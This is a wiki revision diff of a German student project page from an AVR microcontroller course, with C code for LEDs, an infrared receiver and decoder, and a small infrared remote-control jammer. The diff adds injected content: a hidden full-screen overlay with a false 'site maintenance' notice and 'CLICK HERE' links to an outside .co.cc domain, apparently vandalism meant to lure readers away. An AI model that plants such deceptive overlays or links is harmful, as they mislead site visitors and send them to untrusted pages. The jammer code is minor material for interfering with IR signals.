Difference between revisions of "U23 2008-2/Gruppe4"
(→Aufgabe) |
Oxudocopaj (talk | contribs) |
||
Line 1: | Line 1: | ||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://itubibygucy.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://itubibygucy.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
== Mitglieder == | == Mitglieder == | ||
* Christian | * Christian | ||
Line 11: | Line 19: | ||
'''Code:''' | '''Code:''' | ||
− | + | <source lang ="c"> | |
− | #include | + | #include <avr/io.h> |
int main(void) | int main(void) | ||
{ | { | ||
/* PC4 als Ausgang konfig. */ | /* PC4 als Ausgang konfig. */ | ||
− | DDRC = &b10000; | + | DDRC = &b10000; |
/* PC4 auf high setzen */ | /* PC4 auf high setzen */ | ||
− | PORTC = &b10000; | + | PORTC = &b10000; |
/* Endlosschleife */ | /* Endlosschleife */ | ||
Line 28: | Line 36: | ||
} | } | ||
− | + | </source> | |
Line 36: | Line 44: | ||
'''Code:''' | '''Code:''' | ||
− | + | <source lang ="c"> | |
− | #include | + | #include <avr/io.h> |
− | #include | + | #include <util/delay.h> |
static void led_ausgabe(uint8_t led, uint16_t zeit); | static void led_ausgabe(uint8_t led, uint16_t zeit); | ||
Line 49: | Line 57: | ||
/* Ausgaenge konfig. */ | /* Ausgaenge konfig. */ | ||
− | DDRC = (1 | + | DDRC = (1 << DDC4); |
− | DDRD = (1 | + | DDRD = (1 << DDD3) | (1 << DDD6) | (1 << DDD7); |
Line 64: | Line 72: | ||
static void led_ausgabe(uint8_t led, uint16_t zeit) { | static void led_ausgabe(uint8_t led, uint16_t zeit) { | ||
− | if (led & 0b1){ | + | if (led & 0b1){ |
− | PORTC |= (1 | + | PORTC |= (1 << DDC4); } |
else{ | else{ | ||
− | PORTC &= ~(1 | + | PORTC &= ~(1 << DDC4);} |
− | if (led & 0b10){ | + | if (led & 0b10){ |
− | PORTD |= (1 | + | PORTD |= (1 << DDD3);} |
else{ | else{ | ||
− | PORTD &= ~(1 | + | PORTD &= ~(1 << DDD3);} |
− | if (led & 0b100){ | + | if (led & 0b100){ |
− | PORTD |= (1 | + | PORTD |= (1 << DDD6);} |
else{ | else{ | ||
− | PORTD &= ~(1 | + | PORTD &= ~(1 << DDD6);} |
− | if (led & 0b1000){ | + | if (led & 0b1000){ |
− | PORTD |= (1 | + | PORTD |= (1 << DDD7);} |
else{ | else{ | ||
− | PORTD &= ~(1 | + | PORTD &= ~(1 << DDD7);} |
_delay_ms(zeit); | _delay_ms(zeit); | ||
} | } | ||
− | + | </source> | |
== 2. Projektabend (27. Oktober) == | == 2. Projektabend (27. Oktober) == | ||
Line 96: | Line 104: | ||
'''Code:''' | '''Code:''' | ||
− | + | <source lang ="c"> | |
− | #include | + | #include <avr/io.h> |
− | #include | + | #include <string.h> |
− | #include | + | #include <stdio.h> |
− | #include | + | #include <avr/pgmspace.h> |
#include "uart.h" | #include "uart.h" | ||
Line 114: | Line 122: | ||
/* configure irrx as input */ | /* configure irrx as input */ | ||
− | DDRC &= ~_BV(PC3); | + | DDRC &= ~_BV(PC3); |
/* init led pin as output */ | /* init led pin as output */ | ||
Line 123: | Line 131: | ||
while(1) { | while(1) { | ||
/* if ir rx is high, turn off led */ | /* if ir rx is high, turn off led */ | ||
− | if (PINC & _BV(PC3)) | + | if (PINC & _BV(PC3)) |
{ | { | ||
/* if ir was on, display "aus" to indicate it's been turned off */ | /* if ir was on, display "aus" to indicate it's been turned off */ | ||
Line 132: | Line 140: | ||
} | } | ||
− | PORTD &= ~_BV(PD3); | + | PORTD &= ~_BV(PD3); |
} | } | ||
else | else | ||
Line 153: | Line 161: | ||
} | } | ||
*/ | */ | ||
− | + | </source> | |
Line 163: | Line 171: | ||
'''Code:''' | '''Code:''' | ||
− | + | <source lang ="c"> | |
− | + | </source> | |
== 3. Projektabend (03. November) == | == 3. Projektabend (03. November) == | ||
Line 172: | Line 180: | ||
'''Code:''' | '''Code:''' | ||
− | + | <source lang ="c"> | |
− | #include | + | #include <stdio.h> |
− | #include | + | #include <stdlib.h> |
int zahlengen( int a, int e) | int zahlengen( int a, int e) | ||
Line 185: | Line 193: | ||
srand(time(0)); //Seed initialisieren | srand(time(0)); //Seed initialisieren | ||
int min=1, max=7,i=0; | int min=1, max=7,i=0; | ||
− | for(i=0;i | + | for(i=0;i<=100;i++){ |
printf("%i\n",zahlengen(min,max));} | printf("%i\n",zahlengen(min,max));} | ||
getchar(); | getchar(); | ||
return EXIT_SUCCESS; | return EXIT_SUCCESS; | ||
} | } | ||
− | + | </source> | |
=== Aufgabe zur Vorbereitung === | === Aufgabe zur Vorbereitung === | ||
Line 197: | Line 205: | ||
'''Code:''' | '''Code:''' | ||
− | + | <source lang ="c"> | |
− | + | </source> | |
Line 209: | Line 217: | ||
'''Code:''' | '''Code:''' | ||
− | + | <source lang ="c"> | |
ISR(PCINT1_vect) | ISR(PCINT1_vect) | ||
Line 221: | Line 229: | ||
107 * state before was high (=idle), do not record the timing value | 107 * state before was high (=idle), do not record the timing value | ||
108 * and just reset the timer */ | 108 * and just reset the timer */ | ||
− | 109 if (state && pos == 0) { | + | 109 if (state && pos == 0) { |
110 TCNT1 = 0; | 110 TCNT1 = 0; | ||
111 /* else record the timing value */ | 111 /* else record the timing value */ | ||
Line 236: | Line 244: | ||
122 { | 122 { | ||
123 /* turn off interrupt */ | 123 /* turn off interrupt */ | ||
− | 124 PCICR &= ~_BV(PCIE1); | + | 124 PCICR &= ~_BV(PCIE1); |
125 /* change interrupt trigger value to 2 * last timing */ | 125 /* change interrupt trigger value to 2 * last timing */ | ||
126 OCR1A = (code[pos-1] * 2); | 126 OCR1A = (code[pos-1] * 2); | ||
Line 282: | Line 290: | ||
− | + | </source> | |
=== Aufgabe zur Vorbereitung === | === Aufgabe zur Vorbereitung === | ||
Line 289: | Line 297: | ||
'''Code:''' | '''Code:''' | ||
− | + | <source lang ="c"> | |
− | + | </source> | |
Line 299: | Line 307: | ||
'''Code:''' | '''Code:''' | ||
− | + | <source lang ="c"> | |
− | #include | + | #include <avr/io.h> |
− | #include | + | #include <string.h> |
− | #include | + | #include <stdio.h> |
− | #include | + | #include <avr/pgmspace.h> |
− | #include | + | #include <avr/interrupt.h> |
#include "uart.h" | #include "uart.h" | ||
Line 338: | Line 346: | ||
} else if (state == HEADER_ON) { | } else if (state == HEADER_ON) { | ||
/* check if header on is ~9ms */ | /* check if header on is ~9ms */ | ||
− | if (value >= 2500 && value | + | if (value >= 2500 && value <= 3300) { |
state = HEADER_OFF; | state = HEADER_OFF; | ||
} else { | } else { | ||
Line 345: | Line 353: | ||
} else if (state == HEADER_OFF) { | } else if (state == HEADER_OFF) { | ||
/* check if header off is ~4.5ms */ | /* check if header off is ~4.5ms */ | ||
− | if (value >= 1000 && value | + | if (value >= 1000 && value <= 1800) { |
state = DATA_HIGH; | state = DATA_HIGH; | ||
} else { | } else { | ||
Line 353: | Line 361: | ||
} else if (state == DATA_HIGH) { | } else if (state == DATA_HIGH) { | ||
/* check if data1 is ~560us */ | /* check if data1 is ~560us */ | ||
− | if (value >= 140 && value | + | if (value >= 140 && value <= 270) { |
state = DATA_LOW; | state = DATA_LOW; | ||
} else { | } else { | ||
Line 363: | Line 371: | ||
/* check if data1 is ~560us -> value = 0 */ | /* check if data1 is ~560us -> value = 0 */ | ||
− | if (value >= 140 && value | + | if (value >= 140 && value <= 260) { |
bit++; | bit++; | ||
} | } | ||
/* check if data2 is ~1690us -> value = 1 */ | /* check if data2 is ~1690us -> value = 1 */ | ||
− | else if (value >= 400 && value | + | else if (value >= 400 && value <= 600) { |
data[pos] |= _BV(bit); | data[pos] |= _BV(bit); | ||
bit++; | bit++; | ||
Line 409: | Line 417: | ||
/* configure irrx as input */ | /* configure irrx as input */ | ||
− | DDRC &= ~_BV(PC3); | + | DDRC &= ~_BV(PC3); |
/* init led pin as output */ | /* init led pin as output */ | ||
Line 415: | Line 423: | ||
/* configure ir input pin, with pullup */ | /* configure ir input pin, with pullup */ | ||
− | DDRC &= ~_BV(PC3); | + | DDRC &= ~_BV(PC3); |
PORTC |= _BV(PC3); | PORTC |= _BV(PC3); | ||
/* wait until pin is high (no ir carrier is detected) */ | /* wait until pin is high (no ir carrier is detected) */ | ||
− | while(!(PINC & _BV(PC3))); | + | while(!(PINC & _BV(PC3))); |
/* enable pin change interrupt 1 for ir input pin (PC3/PCINT11) */ | /* enable pin change interrupt 1 for ir input pin (PC3/PCINT11) */ | ||
Line 436: | Line 444: | ||
while(1) { | while(1) { | ||
/* if ir rx is high, turn off led */ | /* if ir rx is high, turn off led */ | ||
− | if (PINC & _BV(PC3)) { | + | if (PINC & _BV(PC3)) { |
− | PORTD &= ~_BV(PD3); | + | PORTD &= ~_BV(PD3); |
} else { | } else { | ||
PORTD |= _BV(PD3); | PORTD |= _BV(PD3); | ||
Line 450: | Line 458: | ||
} | } | ||
} | } | ||
− | + | </source> | |
=== Aufgabe zur Vorbereitung === | === Aufgabe zur Vorbereitung === | ||
Line 457: | Line 465: | ||
'''Code:''' | '''Code:''' | ||
− | + | <source lang ="c"> | |
− | + | </source> | |
Line 467: | Line 475: | ||
'''Code:''' | '''Code:''' | ||
− | + | <source lang ="c"> | |
− | + | </source> | |
Line 476: | Line 484: | ||
'''Code:''' | '''Code:''' | ||
− | + | <source lang ="c"> | |
− | + | </source> | |
Revision as of 10:01, 24 November 2010
Mitglieder
- Christian
- Steffen
- Stefan
- Martin
1. Projektabend (20. Oktober)
Aufgabe
Eine LED soll zum leuchten gebracht werden.
Code:
<source lang ="c">
- include <avr/io.h>
int main(void) {
/* PC4 als Ausgang konfig. */ DDRC = &b10000; /* PC4 auf high setzen */ PORTC = &b10000; /* Endlosschleife */ while(1){ }
}
</source>
Aufgabe zur Vorbereitung
Eine LED Sequenz
Code:
<source lang ="c">
- include <avr/io.h>
- include <util/delay.h>
static void led_ausgabe(uint8_t led, uint16_t zeit);
int main(void)
{
uint16_t anzeigedauer = 1000; /* Ausgaenge konfig. */ DDRC = (1 << DDC4); DDRD = (1 << DDD3) | (1 << DDD6) | (1 << DDD7); /* Animation */ while(1){ led_ausgabe (0b1000,anzeigedauer); led_ausgabe (0b0100,anzeigedauer); led_ausgabe (0b0010,anzeigedauer); led_ausgabe (0b0001,anzeigedauer); }
}
static void led_ausgabe(uint8_t led, uint16_t zeit) {
if (led & 0b1){ PORTC |= (1 << DDC4); } else{ PORTC &= ~(1 << DDC4);}
if (led & 0b10){ PORTD |= (1 << DDD3);} else{ PORTD &= ~(1 << DDD3);} if (led & 0b100){ PORTD |= (1 << DDD6);} else{ PORTD &= ~(1 << DDD6);} if (led & 0b1000){ PORTD |= (1 << DDD7);} else{ PORTD &= ~(1 << DDD7);} _delay_ms(zeit);
} </source>
2. Projektabend (27. Oktober)
Aufgabe
Code: <source lang ="c">
- include <avr/io.h>
- include <string.h>
- include <stdio.h>
- include <avr/pgmspace.h>
- include "uart.h"
static void zeitmessen();
int main(void) {
uint8_t status; status = 0;
/* initialize serial uart */ uart_init();
/* configure irrx as input */ DDRC &= ~_BV(PC3);
/* init led pin as output */ DDRD |= _BV(PD3);
while(1) { /* if ir rx is high, turn off led */ if (PINC & _BV(PC3))
{
/* if ir was on, display "aus" to indicate it's been turned off */
if (status==1) { uart_printf("aus"); status=0; }
PORTD &= ~_BV(PD3); } else { /* if ir was off, display "an" to indicate it's been turned on */ if (status==0) { uart_printf("an"); status=1; }
PORTD |= _BV(PD3); }
}
}
/* static void zeitmessen() {
}
- /
</source>
Unser Ergebnis vom 2. Abend: das Programm fragt den Infrarot Empfänger ab, und gibt über die Schnittstelle eine Meldung aus, wenn sich der Zustand ändert.
Aufgabe zur Vorbereitung
Code: <source lang ="c"> </source>
3. Projektabend (03. November)
Aufgabe
Code: <source lang ="c">
- include <stdio.h>
- include <stdlib.h>
int zahlengen( int a, int e) {
double r = e - a + 1; return (a + (int)(r * rand() /(RAND_MAX+1.0)));
}
int main(void) { srand(time(0)); //Seed initialisieren int min=1, max=7,i=0; for(i=0;i<=100;i++){ printf("%i\n",zahlengen(min,max));} getchar(); return EXIT_SUCCESS; } </source>
Aufgabe zur Vorbereitung
Code: <source lang ="c"> </source>
4. Projektabend (10. November)
Aufgabe
Um den Jammer zu realisieren, haben wir die folgenden beiden Interrupts aus dem vorgegebenen Code geändert geändert:
Code:
<source lang ="c">
ISR(PCINT1_vect) 100 { 101 /* do nothing if we are just processing a code in the main loop, 102 * or no more space is available for a timer value */ 103 if (done || pos == MAX) 104 return; 105 106 /* if this would be the first timing value ever recorded, and the 107 * state before was high (=idle), do not record the timing value 108 * and just reset the timer */ 109 if (state && pos == 0) { 110 TCNT1 = 0; 111 /* else record the timing value */ 112 } else { 113 /* store current timer value in code[] 114 * and reset the timer */ 115 code[pos++] = TCNT1; 116 TCNT1 = 0; 117 } 118 119 if (mode == MODE_JAM) 120 { 121 if (pos % 3 == 0) 122 { 123 /* turn off interrupt */ 124 PCICR &= ~_BV(PCIE1); 125 /* change interrupt trigger value to 2 * last timing */ 126 OCR1A = (code[pos-1] * 2); 127 /* set TIMER1 to 0 to count jam time */ 128 TCNT1 = 0; 129 /* turn on ir */ 130 ir_enable(PWM_FREQ); 131 } 132 }
/* timer 1 compare A interrupt service function */
145 ISR(TIMER1_COMPA_vect) 146 { 147 /* do nothing if we are just processing a code in the main loop */ 148 if (done) 149 return; 150 151 /* if some code has been received */ 152 if (pos > 0) { 153 /* if pos is odd, one last 'off'-timing is missing, fill with zero */ 154 if (pos % 2 == 1) 155 code[pos++] = 0; 156 157 /* signal main */ 158 done = 1; 159 160 /* turn on third led */ 161 PORTD |= _BV(PD6); 162 } 163 164 if (mode == MODE_JAM) 165 { 166 /* turn off ir */ 167 ir_disable(); 168 /* reset interrupt trigger */ 169 OCR1A = F_CPU/5/64; 170 /* reset TIMER1 */ 171 TCNT1 = 0; 172 /* turn on interrrupt */ 173 PCICR |= _BV(PCIE1); 174 } 175 }
</source>
Aufgabe zur Vorbereitung
Code: <source lang ="c"> </source>
5. Projektabend (17. November)
Aufgabe
Code: <source lang ="c">
- include <avr/io.h>
- include <string.h>
- include <stdio.h>
- include <avr/pgmspace.h>
- include <avr/interrupt.h>
- include "uart.h"
volatile uint8_t data[100]; volatile uint8_t pos = 0; volatile uint8_t bit = 0;
enum {
IDLE = 0, HEADER_ON = 1, HEADER_OFF = 2, DATA_HIGH = 3, DATA_LOW = 4, DONE = 5,
} state = IDLE;
static void reset_irrx(void) {
state = IDLE; pos = 0; bit = 0; data[0] = 0;
}
ISR(PCINT1_vect) {
uint16_t value = TCNT1; TCNT1 = 0;
if (state == IDLE) { state = HEADER_ON; } else if (state == HEADER_ON) { /* check if header on is ~9ms */ if (value >= 2500 && value <= 3300) { state = HEADER_OFF; } else { reset_irrx(); } } else if (state == HEADER_OFF) { /* check if header off is ~4.5ms */ if (value >= 1000 && value <= 1800) { state = DATA_HIGH; } else { uart_printf("r%u %u\n",state,value); reset_irrx(); } } else if (state == DATA_HIGH) { /* check if data1 is ~560us */ if (value >= 140 && value <= 270) { state = DATA_LOW; } else { uart_printf("r%u %u\n",state,value); reset_irrx(); } } else if (state == DATA_LOW) { state = DATA_HIGH;
/* check if data1 is ~560us -> value = 0 */ if (value >= 140 && value <= 260) { bit++; } /* check if data2 is ~1690us -> value = 1 */ else if (value >= 400 && value <= 600) { data[pos] |= _BV(bit); bit++; } else { uart_printf("r%u %u\n",state,value); reset_irrx(); }
if (bit == 8) { pos++; data[pos + 0] = 0; data[pos + 1] = 0; bit = 0; }
}
}
ISR(TIMER1_COMPA_vect) {
TCNT1 = 0; if (state == DONE || state == IDLE) return;
if (pos > 0) { state = DONE; } else { reset_irrx(); }
}
int main(void) {
/* initialize serial uart */ uart_init();
uart_printf("booting\n");
/* configure irrx as input */ DDRC &= ~_BV(PC3);
/* init led pin as output */ DDRD |= _BV(PD3);
/* configure ir input pin, with pullup */ DDRC &= ~_BV(PC3); PORTC |= _BV(PC3);
/* wait until pin is high (no ir carrier is detected) */ while(!(PINC & _BV(PC3)));
/* enable pin change interrupt 1 for ir input pin (PC3/PCINT11) */ PCMSK1 |= _BV(PCINT11); PCICR |= _BV(PCIE1);
/* configure timer1 with prescaler 64 and CTC for measuring ir timings */ TCCR1B = _BV(CS11) | _BV(CS10) | _BV(WGM12); /* configure timer action */ OCR1A = 4800; /* enable OCR1A interrupt */ TIMSK1 = _BV(OCIE1A);
sei();
while(1) { /* if ir rx is high, turn off led */ if (PINC & _BV(PC3)) { PORTD &= ~_BV(PD3); } else { PORTD |= _BV(PD3); }
if (state == DONE) { uart_printf("->%s\n",data); reset_irrx(); }
}
} </source>
Aufgabe zur Vorbereitung
Code: <source lang ="c"> </source>
6. Projektabend (24. November)
Aufgabe
Code: <source lang ="c"> </source>
Aufgabe zur Vorbereitung
Code: <source lang ="c"> </source>
Abschlussabend (vorrausichtlich 27. November)
Vorstellung der Ergebnisse